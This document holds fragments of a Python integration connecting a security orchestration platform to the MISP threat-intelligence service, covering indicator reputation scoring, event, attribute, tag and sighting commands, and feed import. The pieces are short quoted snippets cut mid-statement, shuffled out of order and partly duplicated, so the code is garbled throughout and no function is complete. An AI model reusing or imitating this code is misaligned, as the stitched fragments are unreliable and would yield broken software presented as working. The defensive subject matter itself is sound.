proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file',","outputs, for every attribute we remove the \"Related Attribute\" list and limits the","scored_events = [] if found_tag: for attribute in all_attributes: event = attribute.get('Event', {})","event command, the attrubite will be added to that existing event. \"\"\" attributes_args","has to be a positive integer, please change the given: '{tag}' id.\") except","def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj","the newer ones. Returns: response (dict): The parsed outputs to context data (array","indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True,","+= f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\",","remove tag to given UUID of event or attribute. is_attribute (bool): if the","tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'):","scored by their event's threat level id. In such case, the score will","args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp']","is 4 = Unknown. note: - In case the same tag appears in","0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in","to add attribute to internal (bool): if set to True, will not post","(bool): if the given UUID is an attribute's one. Otherwise it's event's. \"\"\"","'ip_dst' ] # converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args)","MISP and returning outputs Args: obj: object to add to MISP event_id: ID","err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts","copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in","objects. Note: When limits the attributes amount, we sort the attributes list by","urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent,","{demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets which","try: args = json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj =","with their events objects. Note: When limits the attributes amount, we sort the","def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp']","\"\"\" As tag list can be full of in unnecessary data, we want","readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP","dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type ==","None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type':","False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if","attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids,","to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def","misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\",","= replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags","context output format. please note: attributes are excluded from search-events output as the","'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ]","ValueError as e: raise DemistoException(f'URL [{url}] is not a valid MISP feed. error:","the API key and the URL are correct\" in error: return_error('Unable to connect","hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file","if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') }","in [1,2,3]. Otherwise, the threat level is 4 = Unknown. note: - In","dbot_type (str): Indicator type (file, url, domain, email or ip). malicious_tag_ids (set): Tag","related to an attribute we would like to add it to tag_set_ids. In","reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif","prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response","given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for","argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen',","is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return","CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if","def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting all the attributes which match","= 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not","on the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type':","from the MISP search attribute request found_tag (str): The tag that was scored","return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception","related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the given object we go over","DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for","is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator","the data is attribute's (is_event_level = false), and the tag is only related","return None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of this useless","urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path})","and Events that: * have tags which configured as malicious will be scored","1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] =","{uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response","build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\" Convert the response of attribute search","e: raise DemistoException( f'`attribute` parameter could not be decoded, may not a valid","contains info (name, id, threat level id) about all the events that include","we want to limit this list to include only the ID and Name","attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id","deletes it. \"\"\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response:","'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'}","demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids,","= f'Object has been added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable,","Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High':","get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute')","id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type,","'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids,","None, internal: bool = False, demisto_args: dict = {}, new_event: MISPEvent = None):","is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully removed","is_event_level (bool): Whether the attribute_dict was received from an event object, meaning the","[tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')]","return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results(","Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available in UT: test_build_misp_complex_filter. For","ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if","'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url',","in MISP for the given filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict:","malicious_tag_ids (set): Tag ids should be recognised as malicious. suspicious_tag_ids (set): Tag ids","= PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\"Error: An event with the","added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError","args.get('info') if args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published',","scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def","'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version':","Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params() if","'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete',","misp to perform complex query or if no complex query found returns the","argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text)","remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will remove tag to given UUID of event","your MISP server url is correct.') if \"Please make sure the API key","regexFlags).match(value): raise DemistoException(f\"Error: The given domain: {value} is not valid\") if dbot_type ==","detected as related to the tag. \"\"\" scored_events = [] if found_tag: for","= build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template","= {key: events[i].get(key) for key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] =","[ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute):","Please see an example for a parsed output in test_data/reputation_command_outputs.json \"\"\" response =","= False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True","else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return","event. \"\"\" attributes_args = { 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type',","get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP for value: {value}\")","one is str), and verify all the tags are valid positive integers.\"\"\" for","MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator,","malicious or suspicious. event_name (str): Name of the event \"\"\" related_events = []","len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context =","is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name':","delete_event(demisto_args: dict): \"\"\" Gets an event id and deletes it. \"\"\" event_id =","attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id or","= [] if found_tag: for attribute in all_attributes: event = attribute.get('Event', {}) event_name","= value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if","event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \"\"\"Creating event in MISP","is one of it's tags. If so, the event will be added to","reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type","ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from","EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count',","= arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}')","distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response","to add to tag_set_ids all the tags (event ones and the event's attribute","malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE':","else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url =","malicious_description=\"No results were found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator,","The given email address: {value} is not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids,","= found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute':","PYMISP.search(eventid=event_id) human_readable = f\"## MISP create event\\nNew event with ID: {event_id} has been","MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value = value if comment:","'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True))","have a field called inherited. When it is set to 1 it says","exists.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been","score is Unknown so no events should be found. Returns: list includes all","will be removed from the suspicious tag ids set and will be stayed","\"\"\"Adds sighting to MISP attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type","the found tag ids. Some tags have a field called inherited. When it","'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type',","command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event':","over all the tags and search if found_tag is one of it's tags.","for parameters and ';' as delimiter for operators. using the operators is optional.","length, enter file hash of format MD5, SHA-1 or SHA-256') if dbot_type ==","= PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully removed from the","= PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md","value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"## MISP add","raise DemistoException(f\"An error was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has","newer ones. Returns: response (dict): The parsed outputs to context data (array of","def get_new_misp_event_object(args): \"\"\" Create a new MISP event object and set the event's","'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation':","Args: value (str): The indicator value (an IP address, email address, domain, url","return [{k: v} for k, v in args.items()] def build_generic_object(template_name: str, args: List[dict])","reliability=reliability, malicious_description=\"No results were found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) return","prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True)","created in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}},","misp_query_params, operator_key): is_complex_search = False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',')","raise DemistoException(\"limit should be zero or a positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights","= tag.get('inherited', 0) # field doesn't exist when this is an attribute level,","GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP object Returns: list: list","] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns list of attributes' values that","'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [","'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID',","params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY,","isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in","= event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event","the information is too big. User can use the command search-attributes in order","successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int","key in the integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES","(str): The tag that was scored as malicious or suspicious. event_name (str): Name","requests.Response], include_correlations=False) -> dict: \"\"\" Convert the response of attribute search returned from","DemistoException(f\"Error: The given IP address: {value} is not valid\") if dbot_type == 'DOMAIN':","= is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search:","value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if last_seen:","def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches for all the events that have","Dict from urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject,","Suspicious tag ids lists the indicator will be scored as malicious. - Attributes","'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid',","'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type","found in MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches","function searches for the given attribute value in MISP and then calculates it's","in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in","args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info')","Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'),","return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type ==","demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException(","is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif","DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = (","else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else","found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids) if","is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious:","= comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return","dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event","raise DemistoException(\"Removing the required tag was failed. Please make sure the UUID and","replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params()","tags). \"\"\" output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for","attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object:","(dict): The parsed response from the MISP search attribute request found_tag (str): The","'{tag}' id.\") except ValueError: raise DemistoException(f\"Tag id has to be a positive integer,","in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations'","DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\"","== 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args,","UUID of event or attribute. is_attribute (bool): if the given UUID is an","dbot_type == \"FILE\": hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value)","level is 4 = Unknown. note: - In case the same tag appears","url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment","dict) -> List[dict]: \"\"\" Converts args dict into a list, please see GenericObjectGenerator","description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj","= build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\")","(attribute tags and event tags). Args: value (str): The indicator value (an IP","'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp',","obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building","the event \"\"\" related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag in","event will be added to related_events list Args: object_data_dict (dict): Event or attribute","return add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute` parameter could not","from keys in event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if","is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag","object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id,","PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict):","Returns: list includes all the events that were detected as related to the","and publishing them to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format","email address, domain, url or file hash). dbot_type (str): Indicator type (file, url,","50), \"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context","'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs',","includes all the indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True,","CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function","attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif","lists the indicator will be scored as malicious. - Attributes tags (both malicious","MISP: \\nError message: {response}') else: human_readable = f'Event {event_id} has been deleted' return","indicator value, this function parses the response. This function goes over all the","tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag)","removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes","will add tag to given UUID of event or attribute. is_attribute (bool): if","human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict,","if category: attribute_instance.category = category if value: attribute_instance.value = value if comment: attribute_instance.comment","attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return","return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a domain object to MISP domain-ip","is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has to be a positive","or not exists) it says that it is an attribute's tag. If the","if \"Please make sure the API key and the URL are correct\" in","= demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid","number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has","\"\"\"returns list of attributes' values that match the search query when user set","get rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] =","ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args","the attributes. \"\"\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events","= MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg]","Returns: List[Dict[str, any]]: filtered response \"\"\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors':","if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] =","occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if","fields. In addition, returns set of the found tag ids. Some tags have","if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP","keys in Returns: Union[dict, list, str]: same object type that got in \"\"\"","event_highlights = [] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event)","raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has","for example: https://www.misp-project.org/feeds/ feed format must be MISP. \"\"\" headers = {'Accept': 'application/json'}","Malicious tag ids and Suspicious tag ids lists the indicator will be scored","[] # there is no need in returning related event when searching for","in response: raise DemistoException(f'Error in 